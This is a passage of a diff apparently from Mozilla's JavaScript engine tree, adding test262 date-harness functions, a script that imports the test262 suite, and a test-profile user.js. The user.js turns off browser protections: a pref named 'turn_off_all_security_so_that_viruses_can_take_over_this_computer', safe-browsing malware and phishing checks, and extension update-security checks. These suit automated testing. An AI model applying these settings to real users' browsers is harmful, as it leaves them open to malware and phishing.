+ var dstStart = findNearestDateBefore(winterTime, function (date) {
+ return date.getTimezoneOffset() == summerTime.getTimezoneOffset();
+ });
+ $DST_start_month = dstStart.getMonth();
+ $DST_start_sunday = dstStart.getDate() > 15 ? '"last"' : '"first"';
+ $DST_start_hour = dstStart.getHours();
+ $DST_start_minutes = dstStart.getMinutes();
+
+ var dstEnd = findNearestDateBefore(summerTime, function (date) {
+ return date.getTimezoneOffset() == winterTime.getTimezoneOffset();
+ });
+ $DST_end_month = dstEnd.getMonth();
+ $DST_end_sunday = dstEnd.getDate() > 15 ? '"last"' : '"first"';
+ $DST_end_hour = dstEnd.getHours();
+ $DST_end_minutes = dstEnd.getMinutes();
+
+ return;
+})();
+
+
+//Date.library.js
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+//15.9.1.2 Day Number and Time within Day
+function Day(t) {
+ return Math.floor(t/msPerDay);
+}
+
+function TimeWithinDay(t) {
+ return t%msPerDay;
+}
+
+//15.9.1.3 Year Number
+function DaysInYear(y){
+ if(y%4 != 0) return 365;
+ if(y%4 == 0 && y%100 != 0) return 366;
+ if(y%100 == 0 && y%400 != 0) return 365;
+ if(y%400 == 0) return 366;
+}
+
+function DayFromYear(y) {
+ return (365*(y-1970)
+ + Math.floor((y-1969)/4)
+ - Math.floor((y-1901)/100)
+ + Math.floor((y-1601)/400));
+}
+
+function TimeFromYear(y){
+ return msPerDay*DayFromYear(y);
+}
+
+function YearFromTime(t) {
+ t = Number(t);
+ var sign = ( t < 0 ) ? -1 : 1;
+ var year = ( sign < 0 ) ? 1969 : 1970;
+
+ for(var time = 0;;year += sign){
+ time = TimeFromYear(year);
+
+ if(sign > 0 && time > t){
+ year -= sign;
+ break;
+ }
+ else if(sign < 0 && time <= t){
+ break;
+ }
+ };
+ return year;
+}
+
+function InLeapYear(t){
+ if(DaysInYear(YearFromTime(t)) == 365)
+ return 0;
+
+ if(DaysInYear(YearFromTime(t)) == 366)
+ return 1;
+}
+
+function DayWithinYear(t) {
+ return Day(t)-DayFromYear(YearFromTime(t));
+}
+
+//15.9.1.4 Month Number
+function MonthFromTime(t){
+ var day = DayWithinYear(t);
+ var leap = InLeapYear(t);
+
+ if((0 <= day) && (day < 31)) return 0;
+ if((31 <= day) && (day < (59+leap))) return 1;
+ if(((59+leap) <= day) && (day < (90+leap))) return 2;
+ if(((90+leap) <= day) && (day < (120+leap))) return 3;
+ if(((120+leap) <= day) && (day < (151+leap))) return 4;
+ if(((151+leap) <= day) && (day < (181+leap))) return 5;
+ if(((181+leap) <= day) && (day < (212+leap))) return 6;
+ if(((212+leap) <= day) && (day < (243+leap))) return 7;
+ if(((243+leap) <= day) && (day < (273+leap))) return 8;
+ if(((273+leap) <= day) && (day < (304+leap))) return 9;
+ if(((304+leap) <= day) && (day < (334+leap))) return 10;
+ if(((334+leap) <= day) && (day < (365+leap))) return 11;
+}
+
+//15.9.1.5 Date Number
+function DateFromTime(t) {
+ var day = DayWithinYear(t);
+ var month = MonthFromTime(t);
+ var leap = InLeapYear(t);
+
+ if(month == 0) return day+1;
+ if(month == 1) return day-30;
+ if(month == 2) return day-58-leap;
+ if(month == 3) return day-89-leap;
+ if(month == 4) return day-119-leap;
+ if(month == 5) return day-150-leap;
+ if(month == 6) return day-180-leap;
+ if(month == 7) return day-211-leap;
+ if(month == 8) return day-242-leap;
+ if(month == 9) return day-272-leap;
+ if(month == 10) return day-303-leap;
+ if(month == 11) return day-333-leap;
+}
+
+//15.9.1.6 Week Day
+function WeekDay(t) {
+ var weekday = (Day(t)+4)%7;
+ return (weekday < 0 ? 7+weekday : weekday);
+}
+
+//15.9.1.9 Daylight Saving Time Adjustment
+$LocalTZ = (new Date()).getTimezoneOffset() / -60;
+if (DaylightSavingTA((new Date()).valueOf()) !== 0) {
+ $LocalTZ -= 1;
+}
+var LocalTZA = $LocalTZ*msPerHour;
+
+function DaysInMonth(m, leap) {
+ m = m%12;
+
+ //April, June, Sept, Nov
+ if(m == 3 || m == 5 || m == 8 || m == 10 ) {
+ return 30;
+ }
+
+ //Jan, March, May, July, Aug, Oct, Dec
+ if(m == 0 || m == 2 || m == 4 || m == 6 || m == 7 || m == 9 || m == 11){
+ return 31;
+ }
+
+ //Feb
+ return 28+leap;
+}
+
+function GetSundayInMonth(t, m, count){
+ var year = YearFromTime(t);
+ var tempDate;
+
+ if (count==='"first"') {
+ for (var d=1; d <= DaysInMonth(m, InLeapYear(t)); d++) {
+ tempDate = new Date(year, m, d);
+ if (tempDate.getDay()===0) {
+ return tempDate.valueOf();
+ }
+ }
+ } else if(count==='"last"') {
+ for (var d=DaysInMonth(m, InLeapYear(t)); d>0; d--) {
+ tempDate = new Date(year, m, d);
+ if (tempDate.getDay()===0) {
+ return tempDate.valueOf();
+ }
+ }
+ }
+ throw new Error("Unsupported 'count' arg:" + count);
+}
+/*
+function GetSundayInMonth(t, m, count){
+ var year = YearFromTime(t);
+ var leap = InLeapYear(t);
+ var day = 0;
+
+ if(m >= 1) day += DaysInMonth(0, leap);
+ if(m >= 2) day += DaysInMonth(1, leap);
+ if(m >= 3) day += DaysInMonth(2, leap);
+ if(m >= 4) day += DaysInMonth(3, leap);
+ if(m >= 5) day += DaysInMonth(4, leap);
+ if(m >= 6) day += DaysInMonth(5, leap);
+ if(m >= 7) day += DaysInMonth(6, leap);
+ if(m >= 8) day += DaysInMonth(7, leap);
+ if(m >= 9) day += DaysInMonth(8, leap);
+ if(m >= 10) day += DaysInMonth(9, leap);
+ if(m >= 11) day += DaysInMonth(10, leap);
+
+ var month_start = TimeFromYear(year)+day*msPerDay;
+ var sunday = 0;
+
+ if(count === "last"){
+ for(var last_sunday = month_start+DaysInMonth(m, leap)*msPerDay;
+ WeekDay(last_sunday)>0;
+ last_sunday -= msPerDay
+ ){};
+ sunday = last_sunday;
+ }
+ else {
+ for(var first_sunday = month_start;
+ WeekDay(first_sunday)>0;
+ first_sunday += msPerDay
+ ){};
+ sunday = first_sunday+7*msPerDay*(count-1);
+ }
+
+ return sunday;
+}*/
+
+function DaylightSavingTA(t) {
+// t = t-LocalTZA;
+
+ var DST_start = GetSundayInMonth(t, $DST_start_month, $DST_start_sunday) +
+ $DST_start_hour*msPerHour +
+ $DST_start_minutes*msPerMinute;
+
+ var k = new Date(DST_start);
+
+ var DST_end = GetSundayInMonth(t, $DST_end_month, $DST_end_sunday) +
+ $DST_end_hour*msPerHour +
+ $DST_end_minutes*msPerMinute;
+
+ if ( t >= DST_start && t < DST_end ) {
+ return msPerHour;
+ } else {
+ return 0;
+ }
+}
+
+//15.9.1.9 Local Time
+function LocalTime(t){
+ return t+LocalTZA+DaylightSavingTA(t);
+}
+
+function UTC(t) {
+ return t-LocalTZA-DaylightSavingTA(t-LocalTZA);
+}
+
+//15.9.1.10 Hours, Minutes, Second, and Milliseconds
+function HourFromTime(t){
+ return Math.floor(t/msPerHour)%HoursPerDay;
+}
+
+function MinFromTime(t){
+ return Math.floor(t/msPerMinute)%MinutesPerHour;
+}
+
+function SecFromTime(t){
+ return Math.floor(t/msPerSecond)%SecondsPerMinute;
+}
+
+function msFromTime(t){
+ return t%msPerSecond;
+}
+
+//15.9.1.11 MakeTime (hour, min, sec, ms)
+function MakeTime(hour, min, sec, ms){
+ if ( !isFinite(hour) || !isFinite(min) || !isFinite(sec) || !isFinite(ms)) {
+ return Number.NaN;
+ }
+
+ hour = ToInteger(hour);
+ min = ToInteger(min);
+ sec = ToInteger(sec);
+ ms = ToInteger(ms);
+
+ return ((hour*msPerHour) + (min*msPerMinute) + (sec*msPerSecond) + ms);
+}
+
+//15.9.1.12 MakeDay (year, month, date)
+function MakeDay(year, month, date) {
+ if ( !isFinite(year) || !isFinite(month) || !isFinite(date)) {
+ return Number.NaN;
+ }
+
+ year = ToInteger(year);
+ month = ToInteger(month);
+ date = ToInteger(date );
+
+ var result5 = year + Math.floor(month/12);
+ var result6 = month%12;
+
+ var sign = ( year < 1970 ) ? -1 : 1;
+ var t = ( year < 1970 ) ? 1 : 0;
+ var y = ( year < 1970 ) ? 1969 : 1970;
+
+ if( sign == -1 ){
+ for ( y = 1969; y >= year; y += sign ) {
+ t += sign * DaysInYear(y)*msPerDay;
+ }
+ } else {
+ for ( y = 1970 ; y < year; y += sign ) {
+ t += sign * DaysInYear(y)*msPerDay;
+ }
+ }
+
+ var leap = 0;
+ for ( var m = 0; m < month; m++ ) {
+ //if year is changed, than we need to recalculate leep
+ leap = InLeapYear(t);
+ t += DaysInMonth(m, leap)*msPerDay;
+ }
+
+ if ( YearFromTime(t) != result5 ) {
+ return Number.NaN;
+ }
+ if ( MonthFromTime(t) != result6 ) {
+ return Number.NaN;
+ }
+ if ( DateFromTime(t) != 1 ) {
+ return Number.NaN;
+ }
+
+ return Day(t)+date-1;
+}
+
+//15.9.1.13 MakeDate (day, time)
+function MakeDate( day, time ) {
+ if(!isFinite(day) || !isFinite(time)) {
+ return Number.NaN;
+ }
+
+ return day*msPerDay+time;
+}
+
+//15.9.1.14 TimeClip (time)
+function TimeClip(time) {
+ if(!isFinite(time) || Math.abs(time) > 8.64e15){
+ return Number.NaN;
+ }
+
+ return ToInteger(time);
+}
+
+//Test Functions
+//ConstructDate is considered deprecated, and should not be used directly from
+//test262 tests as it's incredibly sensitive to DST start/end dates that
+//vary with geographic location.
+function ConstructDate(year, month, date, hours, minutes, seconds, ms){
+ /*
+ * 1. Call ToNumber(year)
+ * 2. Call ToNumber(month)
+ * 3. If date is supplied use ToNumber(date); else use 1
+ * 4. If hours is supplied use ToNumber(hours); else use 0
+ * 5. If minutes is supplied use ToNumber(minutes); else use 0
+ * 6. If seconds is supplied use ToNumber(seconds); else use 0
+ * 7. If ms is supplied use ToNumber(ms); else use 0
+ * 8. If Result(1) is not NaN and 0 <= ToInteger(Result(1)) <= 99, Result(8) is
+ * 1900+ToInteger(Result(1)); otherwise, Result(8) is Result(1)
+ * 9. Compute MakeDay(Result(8), Result(2), Result(3))
+ * 10. Compute MakeTime(Result(4), Result(5), Result(6), Result(7))
+ * 11. Compute MakeDate(Result(9), Result(10))
+ * 12. Set the [[Value]] property of the newly constructed object to TimeClip(UTC(Result(11)))
+ */
+ var r1 = Number(year);
+ var r2 = Number(month);
+ var r3 = ((date && arguments.length > 2) ? Number(date) : 1);
+ var r4 = ((hours && arguments.length > 3) ? Number(hours) : 0);
+ var r5 = ((minutes && arguments.length > 4) ? Number(minutes) : 0);
+ var r6 = ((seconds && arguments.length > 5) ? Number(seconds) : 0);
+ var r7 = ((ms && arguments.length > 6) ? Number(ms) : 0);
+
+ var r8 = r1;
+
+ if(!isNaN(r1) && (0 <= ToInteger(r1)) && (ToInteger(r1) <= 99))
+ r8 = 1900+r1;
+
+ var r9 = MakeDay(r8, r2, r3);
+ var r10 = MakeTime(r4, r5, r6, r7);
+ var r11 = MakeDate(r9, r10);
+
+ var retVal = TimeClip(UTC(r11));
+ return retVal;
+}
+
+
+
+/**** Python code for initialize the above constants
+// We may want to replicate the following in JavaScript.
+// However, using JS date operations to generate parameters that are then used to
+// test those some date operations seems unsound. However, it isn't clear if there
+//is a good interoperable alternative.
+
+# Copyright 2009 the Sputnik authors. All rights reserved.
+# This code is governed by the BSD license found in the LICENSE file.
+
+def GetDaylightSavingsTimes():
+# Is the given floating-point time in DST?
+def IsDst(t):
+return time.localtime(t)[-1]
+# Binary search to find an interval between the two times no greater than
+# delta where DST switches, returning the midpoint.
+def FindBetween(start, end, delta):
+while end - start > delta:
+middle = (end + start) / 2
+if IsDst(middle) == IsDst(start):
+start = middle
+else:
+end = middle
+return (start + end) / 2
+now = time.time()
+one_month = (30 * 24 * 60 * 60)
+# First find a date with different daylight savings. To avoid corner cases
+# we try four months before and after today.
+after = now + 4 * one_month
+before = now - 4 * one_month
+if IsDst(now) == IsDst(before) and IsDst(now) == IsDst(after):
+logger.warning("Was unable to determine DST info.")
+return None
+# Determine when the change occurs between now and the date we just found
+# in a different DST.
+if IsDst(now) != IsDst(before):
+first = FindBetween(before, now, 1)
+else:
+first = FindBetween(now, after, 1)
+# Determine when the change occurs between three and nine months from the
+# first.
+second = FindBetween(first + 3 * one_month, first + 9 * one_month, 1)
+# Find out which switch is into and which if out of DST
+if IsDst(first - 1) and not IsDst(first + 1):
+start = second
+end = first
+else:
+start = first
+end = second
+return (start, end)
+
+
+def GetDaylightSavingsAttribs():
+times = GetDaylightSavingsTimes()
+if not times:
+return None
+(start, end) = times
+def DstMonth(t):
+return time.localtime(t)[1] - 1
+def DstHour(t):
+return time.localtime(t - 1)[3] + 1
+def DstSunday(t):
+if time.localtime(t)[2] > 15:
+return "'last'"
+else:
+return "'first'"
+def DstMinutes(t):
+return (time.localtime(t - 1)[4] + 1) % 60
+attribs = { }
+attribs['start_month'] = DstMonth(start)
+attribs['end_month'] = DstMonth(end)
+attribs['start_sunday'] = DstSunday(start)
+attribs['end_sunday'] = DstSunday(end)
+attribs['start_hour'] = DstHour(start)
+attribs['end_hour'] = DstHour(end)
+attribs['start_minutes'] = DstMinutes(start)
+attribs['end_minutes'] = DstMinutes(end)
+return attribs
+
+*********/
+
+//--Test case registration-----------------------------------------------------
+function runTestCase(testcase) {
+ if (testcase() !== true) {
+ $ERROR("Test case returned non-true value!");
+ }
+}
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * The current crop of Test262 test cases that we run are expected to pass
+ * unless they crash or throw. (This isn't true for all Test262 test cases --
+ * for the ones marked @negative the logic is inverted. We'll have to deal with
+ * that concern eventually, but for now we're punting so we can run subsets of
+ * Test262 tests.)
+ */
+testPassesUnlessItThrows();
+
+/*
+ * Test262 function $ERROR throws an error with the message provided. Test262
+ * test cases call it to indicate failure.
+ */
+function $ERROR(msg)
+{
+ throw new Error("Test262 error: " + msg);
+}
+
+/*
+ * Test262 function $INCLUDE loads a file with support functions for the tests.
+ * This function is replaced in browser.js.
+ */
+function $INCLUDE(file)
+{
+ load("supporting/" + file);
+}
+
+/*
+ * Test262 function fnGlobalObject returns the global object.
+ */
+var fnGlobalObject = (function()
+{
+ var global = Function("return this")();
+ return function fnGlobalObject() { return global; };
+})();
diff --git a/js/src/tests/update-test262.sh b/js/src/tests/update-test262.sh
new file mode 100755
index 000000000..01005845f
--- /dev/null
+++ b/js/src/tests/update-test262.sh
@@ -0,0 +1,144 @@
+#!/bin/sh
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+# Abort when an error occurs.
+set -e
+
+# Updates the jstests copy of the test cases of Test262, the conformance test
+# suite for ECMA-262 and ECMA-402, ECMAScript and its Internationalization API.
+
+function usage()
+{
+ echo "Usage: update-test262.sh <URL of test262 hg> [clone | copy]"
+ echo ""
+ echo "The URL will most commonly be http://hg.ecmascript.org/tests/test262/ "
+ echo "but may also be a local clone. Don't use a local clone when generating"
+ echo "the final import patch"\!" test262/HG-INFO will record the wrong URL"
+ echo "if you do so. Local cloning is only useful when editing this script to"
+ echo "import a larger test262 subset."
+ echo ""
+ echo "If a local clone is specified, the optional clone/copy argument will"
+ echo "either clone into a temporary directory, or directly copy from the"
+ echo "clone's checkout. 'clone' semantics are the default."
+ exit 1
+}
+
+if [ $# -lt 1 ]; then
+ usage
+elif [ $# -eq 1 -o "$2" == "clone" ]; then
+ # Beware! 'copy' support requires that the clone performed here *never* be
+ # altered. If it were altered, those changes wouldn't appear in the final
+ # set of changes as determined by the 'copy' path below.
+
+ # Mercurial doesn't have a way to download just a part of a repository, or to
+ # just get the working copy - we have to clone the entire thing. We use a
+ # temporary test262 directory for that.
+ unique_dir=`mktemp -d /tmp/test262.XXXX` || exit 1
+ tmp_dir=${unique_dir}/test262
+
+ # Remove the temporary test262 directory on exit.
+ function cleanupTempFiles()
+ {
+ rm -rf ${unique_dir}
+ }
+ trap cleanupTempFiles EXIT
+
+ echo "Feel free to get some coffee - this could take a few minutes..."
+ hg clone $1 ${tmp_dir}
+elif [ "$2" == "copy" ]; then
+ echo "Copying directly from $1; be sure this repository is updated to tip"\!
+ tmp_dir="$1"
+else
+ usage
+fi
+
+# Now to the actual test262 directory.
+js_src_tests_dir=`dirname $0`
+test262_dir=${js_src_tests_dir}/test262
+rm -rf ${test262_dir}
+mkdir ${test262_dir}
+
+# Copy over the test262 license.
+cp ${tmp_dir}/LICENSE ${test262_dir}
+
+# The test262 tests are in test/suite. The "bestPractice" tests cover non-
+# standard extensions, or are not strictly required by specs, so we don't
+# include them. The remaining tests are currently in "intl402" or "chNN"
+# directories (where NN is an ECMA-262 chapter number). This may change at
+# some point, as there is some dissatisfaction on test262-discuss with using
+# impermanent section numbering (across ES5, ES6, etc.) to identify what's
+# tested.
+#
+# The large quantity of tests at issue here, and the variety of things being
+# tested, motivate importing portions of test262 incrementally. So rather than
+# doing this:
+#
+# cp -r ${tmp_dir}/test/suite/ch* ${test262_dir}
+#
+# ...we instead individually import folders whose tests we pass. (Well, mostly
+# pass -- see the comment at the end of this script.)
+cp -r ${tmp_dir}/test/suite/ch06 ${test262_dir}/ch06
+cp -r ${tmp_dir}/test/suite/ch07 ${test262_dir}/ch07
+cp -r ${tmp_dir}/test/suite/ch08 ${test262_dir}/ch08
+cp -r ${tmp_dir}/test/suite/ch09 ${test262_dir}/ch09
+cp -r ${tmp_dir}/test/suite/ch10 ${test262_dir}/ch10
+cp -r ${tmp_dir}/test/suite/ch11 ${test262_dir}/ch11
+cp -r ${tmp_dir}/test/suite/ch12 ${test262_dir}/ch12
+cp -r ${tmp_dir}/test/suite/ch13 ${test262_dir}/ch13
+cp -r ${tmp_dir}/test/suite/ch14 ${test262_dir}/ch14
+
+# The test402 tests are in test/suite/intl402/. For now there are no
+# "bestPractice" tests to omit. The remaining tests are in chNN directories,
+# NN referring to chapters of ECMA-402.
+#
+# All intl402 tests are runnable, and only a few currently fail, so we import
+# them wildcard-style.
+mkdir ${test262_dir}/intl402
+cp -r ${tmp_dir}/test/suite/intl402/ch* ${test262_dir}/intl402
+
+# Copy over harness supporting files needed by the test402 tests.
+cp ${tmp_dir}/test/harness/sta.js ${js_src_tests_dir}/supporting/
+cp ${tmp_dir}/test/harness/testBuiltInObject.js ${js_src_tests_dir}/supporting/
+cp ${tmp_dir}/test/harness/testIntl.js ${js_src_tests_dir}/supporting/
+
+# Create empty browser.js and shell.js in all test directories to keep
+# jstests happy.
+for dir in `find ${test262_dir} ${test262_dir}/ch* ${test262_dir}/intl402/ch* -type d -print` ; do
+ touch $dir/browser.js
+ touch $dir/shell.js
+done
+
+# Construct the test262 tests' jstests adapter files.
+cp ${js_src_tests_dir}/supporting/test262-browser.js ${test262_dir}/browser.js
+cat ${js_src_tests_dir}/supporting/sta.js ${js_src_tests_dir}/supporting/test262-shell.js > ${test262_dir}/shell.js
+
+# Restore the Intl tests' jstests adapter files. Loading include files into the
+# browser from a script so that they become synchronously available to that same
+# script is basically impossible. Instead, just concatenate all the scripts
+# together into one script loaded before the test executes.
+cat ${js_src_tests_dir}/supporting/test402-browser.js \
+ ${js_src_tests_dir}/supporting/testBuiltInObject.js \
+ ${js_src_tests_dir}/supporting/testIntl.js > ${test262_dir}/intl402/browser.js
+cp ${js_src_tests_dir}/supporting/test402-shell.js ${test262_dir}/intl402/shell.js
+
+# Keep a record of what we imported.
+echo "URL: $1" > ${test262_dir}/HG-INFO
+hg -R ${tmp_dir} log -r. >> ${test262_dir}/HG-INFO
+
+# Update for the patch.
+hg addremove ${js_src_tests_dir}/supporting
+hg addremove ${test262_dir}
+
+# Apply a very narrow set of post-fixes to tests that haven't yet been updated
+# for spec changes, or where we're experimenting with semantics that disagree
+# with those in test262. See below: this isn't every test we don't pass!
+patch -d "${js_src_tests_dir}" -p4 < ./function-arguments-caller-changes.diff
+patch -d "${js_src_tests_dir}" -p4 < ./dupl-prop-changes.diff
+
+# The alert reader may now be wondering: what about test262 tests that we don't
+# pass? (And what about any test262 tests whose format we don't yet support?)
+# We explicitly disable all such tests in js/src/tests/jstests.list one by one.
+# This has the moderate benefit that if a bug is fixed, only that one file must
+# be updated, and we don't have to rerun this script.
diff --git a/js/src/tests/user.js b/js/src/tests/user.js
new file mode 100755
index 000000000..732bbbd1a
--- /dev/null
+++ b/js/src/tests/user.js
@@ -0,0 +1,36 @@
+user_pref("app.update.enabled", false);
+user_pref("browser.dom.window.dump.enabled", true);
+user_pref("browser.sessionstore.resume_from_crash", false);
+user_pref("browser.shell.checkDefaultBrowser", false);
+user_pref("browser.xul.error_pages.enabled", true);
+user_pref("security.fileuri.strict_origin_policy", false);
+user_pref("dom.allow_scripts_to_close_windows", true);
+user_pref("dom.disable_open_during_load", false);
+user_pref("dom.max_script_run_time", 0);
+user_pref("hangmonitor.timeout", 0);
+user_pref("dom.max_chrome_script_run_time", 0);
+user_pref("javascript.allow.mailnews", true);
+user_pref("javascript.options.showInConsole", true);
+user_pref("layout.css.report_errors", true);
+user_pref("signed.applets.codebase_principal_support", true);
+user_pref("browser.warnOnQuit", false);
+user_pref("browser.cache.check_doc_frequency", 1);
+user_pref("extensions.checkCompatibility", false);
+user_pref("extensions.checkUpdateSecurity", false);
+user_pref("browser.EULA.override", true);
+user_pref("javascript.options.strict", false);
+user_pref("javascript.options.werror", false);
+user_pref("toolkit.startup.max_resumed_crashes", -1);
+user_pref("security.turn_off_all_security_so_that_viruses_can_take_over_this_computer", true);
+user_pref("toolkit.telemetry.enabled", false);
+user_pref("browser.safebrowsing.phishing.enabled", false);
+user_pref("browser.safebrowsing.malware.enabled", false);
+user_pref("browser.safebrowsing.forbiddenURIs.enabled", false);
+user_pref("browser.safebrowsing.blockedURIs.enabled", false);
+user_pref("privacy.trackingprotection.enabled", false);
+user_pref("privacy.trackingprotection.pbmode.enabled", false);
+user_pref("browser.snippets.enabled", false);
+user_pref("browser.snippets.syncPromo.enabled", false);
+user_pref("browser.snippets.firstrunHomepage.enabled", false);
+user_pref("general.useragent.updates.enabled", false);
+user_pref("browser.webapps.checkForUpdates", 0);